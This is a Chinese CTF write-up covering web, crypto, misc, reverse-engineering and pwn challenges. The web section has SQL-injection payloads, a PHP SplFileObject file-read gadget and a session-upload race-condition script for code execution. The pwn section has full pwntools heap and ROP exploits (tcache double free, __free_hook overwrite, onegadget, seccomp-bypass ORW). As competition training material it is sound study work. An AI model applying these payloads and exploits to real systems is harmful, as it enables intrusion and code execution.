Web

easy_sql

单引号直接报错,试了一下updatexml直接可以报错注入了。

注到表名时过滤了information以及其他等效替代的表,测了一下有flag表,然后就开始无列名注入了。

1
uname=admin&passwd=123') or (updatexml(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b using(id))c),0x7e),1)) %23&Submit=%E7%99%BB%E5%BD%95

注出来前两个字段为id跟no,注出来flag位于40b380c6-1208-4216-b5a8-1f550a5a8be4。

1
uname=admin&passwd=123') or (updatexml(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b using(id,no))c),0x7e),1)) %23&Submit=%E7%99%BB%E5%BD%95

mid两边跑一下出完整flag。

1
uname=admin&passwd=123') or (updatexml(1,concat(0x7e,mid((select group_concat(`40b380c6-1208-4216-b5a8-1f550a5a8be4`) from flag),25,16),0x7e),1)) %23&Submit=%E7%99%BB%E5%BD%95

easy_source

扫描存在一个备份文件:.index.php.swo,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
你能发现我吗<?php
echo "你能发现我吗";
class User
{
private static $c = 0;

/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function a()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function b()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function c()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function d()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function e()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function f()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function g()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function h()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function i()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function j()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function k()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function l()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function m()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function n()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function o()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function p()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function q()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function r()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function s()
{
return ++self::$c;
}
/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
function t()
{
return ++self::$c;
}

}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

int(3886)

上网搜到原题https://r0yanx.com/2020/10/28/fslh-writeup/

Exp:

1
rc=SplFileObject&ra=index.php&rb=r&rd=fpassthru

middle_source

扫描目录下存在: .listing,有一个phpinfo,包含进来可以看到,session临时文件保存地址为:var/lib/php/sessions/hdahbcchac/

1
filed=&cf=../../../../../../var/www/html/you_can_seeeeeeee_me.php

直接条件竞争包含临时session文件getshell,读取flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://124.71.225.222:25126/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(scandir("/etc"));?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
data={
'filed':'',
'cf':'../../../../../..//var/lib/php/sessions/hdahbcchac/sess_'+sessid
}
resp = session.post('http://124.71.225.222:25126/index.php',data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

image-20210516090416620

Crypto

rsa

3个msg分别是低加密指数攻击,共模攻击,已知p高位攻击。

1
2
3
4
5
6
7
8
9
import gmpy2
import libnum

c = 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893
e = 3
n = 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009
m = gmpy2.iroot(c, e)
print(libnum.n2s(int(m[0])))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2
import libnum

c_1 = 54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610
c_2 = 91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950
n = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977
e_1 = 17
e_2 = 65537
s = gmpy2.gcdext(e_1, e_2)
m1 = gmpy2.powmod(c_1, s[1], n)
m2 = gmpy2.powmod(c_2, s[2], n)
m = (m1*m2) % n
print(libnum.n2s(int(m)))

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
import libnum

c = 59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147
p = 11437038763581010263116493983733546014403343859218003707512796706928880848035239990740428334091106443982769386517753703890002478698418549777553268906496423
e = 65537
q = n//p
phi = (p-1) * (q-1)
d3 = gmpy2.invert(e, phi)
m = pow(c, d3, n)
print(libnum.n2s(int(m)))

最终得到:

1
2
3
4
5
6
7
8
 
O wild West Wind, thou breath of Autumn's being,
Thou, from whose unseen presence the leaves dead
Are driven, like ghosts from an enchanter fleeing,
Yellow, and black, and pale, and hectic red,
Pestilence-stricken multitudes: O thou,
Who chariotest to their dark wintry bed

md5一下放进:CISCN{}

1
CISCN{3943e8843a19149497956901e5d98639}

Misc

tiny traffic

打开tiny_traffic文件

image-20210516094349485

发现这有个secret和test有点奇怪,然后将http所有对象导出

我们把test文件的后缀改为br,然后用brotli

1
brotli.exe -d test.br

解密之后的内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
syntax = "proto3";

message PBResponse {
int32 code = 1;
int64 flag_part_convert_to_hex_plz = 2;
message data {
string junk_data = 2;
string flag_part = 1;
}
repeated data dataList = 3;
int32 flag_part_plz_convert_to_hex = 4;
string flag_last_part = 5;
}

message PBRequest {
string cate_id = 1;
int32 page = 2;
int32 pageSize = 3;
}

发现使用了 proto3 的语法,应该是和 sercet 进行解密,用 protoc 工具解一下得到如下

1
2
3
4
5
6
7
8
9
10
11
12
code: 200
flag_part_convert_to_hex_plz:15100450
dataList {
flag_part: "e2345"
junk_data: "7af2c"
}
dataList {
flag_part: "7889b0"
junk_data: "82bc0"
}
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"

然后用php把10进制的数据转16进制

1
<?php echo base_convert("15100450", 10, 16);?>

然后再将各部分全部拼接起来得到e66a22e23457889b0fb1146d172a38dc,于是得到flag:

1
CISCN{e66a22e23457889b0fb1146d172a38dc}

RE

glass

apk逆向,看了一下逻辑如下:

调了一个so库,主要逻辑位于sub_10D4:

result会跟这里做对比:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <iostream>
uint8_t* sub_10D4(uint8_t* result, const char* a3);

int main() {

unsigned char result[] = {0xA3,0x1A,0xE3,0x69,0x2F,0xBB,0x1A,0x84,0x65,0xC2,0xAD,0xAD,0x9E,0x96,0x05,0x02,0x1F,0x8E,0x36,0x4F,0xE1,0xEB,0xAF,0xF0,0xEA,0xC4,0xA8,0x2D,0x42,0xC7,0x6E,0x3F,0xB0,0xD3,0xCC,0x78,0xF9,0x98,0x3F,0x00};
char a3[] = "12345678";
sub_10D4(result,a3);
for (int i=0;i<39;i++)
{
printf("%02x",*(result+i));
}
return 0;
}

uint8_t* sub_10D4(uint8_t* result, const char* a3){
int i; // r4
uint8_t* v5; // r6
uint8_t v6; // r5
uint8_t v7; // lr
uint8_t v8; // r12
int j; // lr
int a2 = 39;
int a4 = 8;
int k; // r6
uint8_t* result_2 = result;
for ( j = 0; j < a2; j += a4 )
{
for ( k = 0; (a4 & ~(a4 >> 31)) != k && j + k < a2; ++k )
*(result + k) ^= *(a3 + k);
result += a4;
}
result = result_2;
for ( i = 0; i < 39; i += 3 )
{
v5 = result + i;
v6 = *(v5 + 2);
v7 = *(v5 + 1);
v8 = *v5;
*(v5) = v6 ^ v7;
*(v5 + 1) = v8 ^ v7;
*(v5 + 2) = (*(v5 + 1))^(*(v5 + 2));
}
return result;
}

推出rc4后用密钥解码即可:

1
f8ba6a9747cae891c5076ef7920b399214a8af7eaa50458d6d2db6866e9f865edfb31e52a6626a

PWN

pwny

  1. 两次写入清空 stderr 后,覆盖随机值获得正常 read 写入功能
  2. 数组越界分别获取 libc stack main_ret 地址
  3. 数组越界劫持 main_ret 为 onegadget

一开始卡在怎么利用 stderr 修改随机值为 0 ,但是标准化错误里面是有内容的,没找相关资料怎么清空。后来想这个缓冲区,本该输出的内容堆积在里面,fflush 冲洗流中的信息就将这些内容显示出来,我们从 stderr 读入一次就相当于这个效果,所以第二次里面是个空值,就能将随机值覆盖为 0 。

后面就是获取 libc 地址,一开始做题人傻了去栈区找 main 返回地址,打远程的时候直接人傻了,忘记还有 aslr ,这就导致 bss 段与栈区的偏移时不固定的。所以得要找 got 表中的地址,也就是让 index 是个负数,然后就是负数的补码计算了。

程序保护全开,就劫持 main 返回地址为 onegadget 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context.terminal = ['tmux','sp','-h']
context.log_level='debug'

p=process('./pwny',env={'LD_PRELOAD':'./libc-2.27.so'})
# p=remote('124.71.225.222',25382)
libc=ELF('./libc-2.27.so')

p.sendline(str(2))
p.sendline(str(256))
p.sendline(str(2))
p.sendline(str(256))

#leak libc
p.sendline('1')
p.send(p64(0xfffffffffffffffa))
p.recvuntil('Result: ')
stdin_addr=p.recv(12)
stdin_addr=int(stdin_addr, 16)
log.success('stdin_addr: '+hex(stdin_addr))
libc_base=stdin_addr-libc.sym['_IO_2_1_stdin_']
log.success('libc base: '+hex(libc_base))

#leak stack
p.sendline('1')
# gdb.attach(p,"b *$rebase(0xb5c)")
# raw_input()
p.sendline(p64(0xfffffffffffffff5))
p.recvuntil('Result: ')
stack_base=p.recv(12)
stack_base=int(stack_base, 16)-0x202008
log.success('stack_base: '+hex(stack_base))
offset=libc_base-stack_base

p.sendline('1')
p.send(p64((offset+libc.sym['__environ']-0x202060)/8))
p.recvuntil('Result: ')
stack_addr=int('0x'+p.recv(12), 16)
ret_addr=stack_addr+0x120
main_ret=(ret_addr-stack_base+0x202060-0x404300)/8

#hijack main ret
p.sendline('2')
p.sendline(str(main_ret))
onegadget=libc_base+0x10a41c
p.send(p64(onegadget))
p.interactive()

lonelywolf

新版本的 libc-2.27 带有 tcache 。堆数量限制为 1 个,由于存在 UAF ,所以 tcache double free 很容易绕过了。

难点在于怎么泄露出 libc 地址,堆大小限制不大于 0x78 ,还在 fastbin 范围里面。两个思路:

  1. 填充满 tcache 之后,放一个到 fastbin 里面。然后再 scanf 输入一个非常长的字符串,触发 malloc_consolidate 会申请一个 larginbin ,就会将 fastbin 放入 unsortedbin

    护网杯 2019 pwn flower 详解

    Hctf 2018 heapstorm zero

    从hctf,0ctf两道题目看malloc_consolidate ()

  2. 将堆分配到 tcache struct 上面,这个结构体大小为 0x250 。将 tcache 对应标志位改为大于 7 ,然后释放这个堆块即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context.log_level="debug"
context.terminal=['tmux','sp','-h']

p= process('./lonelywolf',env={'LD_PRELOAD':'./libc-2.27.so'})
# p=remote('124.71.225.222',25272)
libc=ELF('./libc-2.27.so')

def add(id,size):
p.sendlineafter('Your choice: ','1')
p.sendlineafter('Index: ',str(id))
p.sendlineafter('Size: ',str(size))

def edit(id,content):
p.sendlineafter('Your choice: ','2')
p.sendlineafter('Index: ',str(id))
p.sendlineafter('Content: ',content)

def show(id):
p.sendlineafter('Your choice: ','3')
p.sendlineafter('Index: ',str(id))

def delete(id):
p.sendlineafter('Your choice: ','4')
p.sendlineafter('Index: ',str(id))

#leak heap addr
add(0,0x60)
delete(0)
add(0,0x60)
delete(0)
edit(0,p64(0)*2)
delete(0)
show(0)
p.recvuntil('Content: ')
heap_base=u64(p.recv(6).ljust(8,'\x00'))-0x260
log.info("heap_base:"+hex(heap_base))

#hijack tcache struct
edit(0,p64(heap_base+0x10))
add(0,0x60)
add(0,0x60)#tcache struct(0x250 unsortedbin)
edit(0,'\x00'*0x20+'\xff'*0x8)


#leak libc
delete(0)
show(0)
p.recvuntil('Content: ')
main_arena_86=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info("main_arena_86:"+hex(main_arena_86))
libc_base=main_arena_86-(0x7f7c1c623ca0-0x7f7c1c238000)
log.info("libc_base:"+hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']

# gdb.attach(p)
# raw_input()

add(0,0x78)
edit(0,'\x00'*0x40)
delete(0)
edit(0,p64(0)*2)
delete(0)
edit(0,p64(free_hook)+p64(0))
add(0,0x78)
add(0,0x78)
edit(0,p64(system))
add(0,0x18)
edit(0,"/bin/sh\x00")
delete(0)

p.interactive()

silverwolf

上一题开了沙箱版本。泄露出栈地址,劫持 main ret 为 orw 读取 flag 。

沙盒堆之前也有遇到不少,差别是在于利用方法,现在了解到的有三个:https://www.mrskye.cn/archives/b88f4a53/#ParentSimulator 。这次利用方法是从 environ 泄露出栈地址,然后劫持 edit 函数返回地址,因为程序的退出功能是调用 exit() ,不会走到 main 返回地址,所以换成劫持 edit 返回地址,调用 edit 修改完后就能直接调用 ROP 链。

orw 写的时候遇到问题就是 open 函数的 syscall 出现问题,rax 的值变成了 0 ,正常应该是 2 ,改了一下 rop 链多加一个 pop rax 2 ,然后将 open 函数直接换成 syscall 的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from pwn import *
context.log_level="debug"
context.terminal=['tmux','sp','-h']

# p = process("./silverwolf",env={'LD_PRELOAD':'./libc-2.27.so'})
#p = process("./silverwolf")
libc = ELF("./libc-2.27.so")
p=remote('124.71.225.222',25304)
def add(a1,a2):
p.sendafter('Your choice: ','1 ')
p.sendafter('Index: ',str(a1)+' ')
p.sendafter('Size: ',str(a2)+' ')

def edit(a1,a2):
p.sendafter('Your choice: ','2 ')
p.sendafter('Index: ',str(a1)+' ')
p.sendlineafter('Content: ',a2)

def show(a1):
p.sendafter('Your choice: ','3 ')
p.sendafter('Index: ',str(a1)+' ')

def dele(a1):
p.sendafter('Your choice: ','4 ')
p.sendafter('Index: ',str(a1)+' ')

add(0,0x60)#0 0x60
dele(0)
edit(0,p64(0)*2)#double free
dele(0)
show(0)
p.recvuntil('Content: ')
#print(p.recv(6))
heapbase=u64(p.recv(6).ljust(8,'\x00'))-(0x555c75b72dd0-0x555c75b72000)
#heapbase=int(p.recv(14),16)
print(hex(heapbase))

# edit(0,p64(heapbase+0x10)+p64(0))
# add(0,0x60)
# add(0,0x60)
# edit(0,p64(0x0007050700000007))
# add(0,0x58)
# dele(0)
# edit(0,p64(0)*2)
# dele(0)

add(0,'1'*0x2000)
for _ in range(10):
add(0,0x18)



for _ in range(8):
dele(0)
edit(0,p64(0)*2)
print _



add(0,'1'*0x2000)
show(0)
main_arean_112 = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
log.info("main_arean_112:"+hex(main_arean_112))
libc_base = main_arean_112 - (0x7f2ebde02cb0-0x7f2ebda17000)
log.info("libc_base:"+hex(libc_base))
environ_addr = libc_base + libc.sym['environ']
log.info("environ_addr:"+hex(environ_addr))

edit(0,p64(environ_addr)*2)
add(0,0x18)
add(0,0x18)
show(0)
stack_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
log.info("stack_addr:"+hex(stack_addr))
edit_ret_addr = stack_addr - (0x7ffd7ec866b8-0x7ffd7ec86598)
log.info("edit_ret_addr:"+hex(edit_ret_addr))

open_addr=libc_base+0x13061D
read=libc_base+libc.sym['read']
puts=libc_base+libc.sym['puts']
write=libc_base+libc.sym['write']
pop_rdi_ret=libc_base+0x00000000000215bf#0x0000000000026b72
pop_rsi_ret=libc_base+0x0000000000023eea#0x0000000000027529
pop_rdx_r12_ret=libc_base+0x0000000000130544#0x000000000011c371
leave_ret = libc_base+0x0000000000054913#0x000000000005aa48
gadget=libc_base+0x157D8A#0x157BFA
log.info("gadget:"+hex(gadget))
add_rsp_0x18_ret=libc_base+0x000000000003794a
ret=libc_base+0x00000000000008aa#0x0000000000025679

add(0,0x78)
edit(0,"./flag")#0x000055b1257abe50-0x55b1257ab000
# add(0,0x78)#0x00005590a1d71170-0x5590a1d70000
# payload=p64(pop_rdi_ret)+p64(heapbase+(0x000055b1257abe50-0x55b1257ab000)) #"flag" in chunk0
# payload+=p64(pop_rsi_ret)+p64(0)
# payload+=p64(pop_rdx_r12_ret)+p64(0)*2
# payload+=p64(open_addr)

# payload+=p64(pop_rdi_ret)+p64(4)
# payload+=p64(pop_rsi_ret)
# payload+=p64(heapbase+0x9f0)#where flag
# payload+=p64(pop_rdx_r12_ret)+p64(0x50)+p64(0)
# payload+=p64(read)

# payload+=p64(pop_rdi_ret)+p64(1)
# payload+=p64(pop_rsi_ret)
# payload+=p64(heapbase+0x9f0)#where flag
# payload+=p64(write)
# edit(0,payload)

add(0,0x58)
dele(0)
edit(0,p64(edit_ret_addr))
add(0,0x58)
add(0,0x58)

pop_rax=libc_base+0x0000000000043ae8

payload=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)
payload+=p64(edit_ret_addr+0x40)#where rip
payload+=p64(pop_rdx_r12_ret)+p64(0x500)+p64(0)
payload+=p64(read)
#gdb.attach(io,"b *0x7ffff77deae9")
raw_input()
edit(0,payload)

payload=p64(pop_rdi_ret)+p64(heapbase+(0x000055b1257abe50-0x55b1257ab000)) #"flag" in chunk0
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rax)+p64(2)
payload+=p64(open_addr)

payload+=p64(pop_rdi_ret)+p64(3)
payload+=p64(pop_rsi_ret)
payload+=p64(heapbase+0x9f0)#where flag
payload+=p64(pop_rdx_r12_ret)+p64(0x50)+p64(0)
payload+=p64(read)

payload+=p64(pop_rdi_ret)+p64(1)
payload+=p64(pop_rsi_ret)
payload+=p64(heapbase+0x9f0)#where flag
payload+=p64(write)
p.send(payload)

p.interactive()